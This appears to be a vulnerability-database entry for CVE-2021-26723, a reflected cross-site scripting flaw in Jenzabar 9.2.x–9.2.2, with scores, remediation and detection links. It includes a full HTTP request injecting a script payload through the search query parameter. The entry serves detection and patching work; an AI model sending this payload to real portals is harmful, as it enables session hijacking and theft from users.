🔙 목록으로 돌아가기

CVE-2021-26723: Jenzabar 9.2x-9.2.2 - Cross-Site Scripting

TitleJenzabar 9.2x-9.2.2 - Cross-Site Scripting
Authorpikpikcu
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
RemediationApply the latest security patch or upgrade to a non-vulnerable version of Jenzabar 9.2x-9.2.2.
CVSS Score6.1
EPSS Score0.64083
CVE IDCVE-2021-26723
CWE IDCWE-79
Tags cve2021 cve packetstorm jenzabar xss vuln

🔍 Vulnerability Description

Jenzabar 9.2.x through 9.2.2 contains a cross-site scripting vulnerability. It allows /ics?tool=search&query.

🌐 HTTP Request

GET /ics?tool=search&query=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_18) AppleWebKit/605.1.18 (KHTML, like Gecko) Version/18 Safari/605.1.18
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-26723.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-26723.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A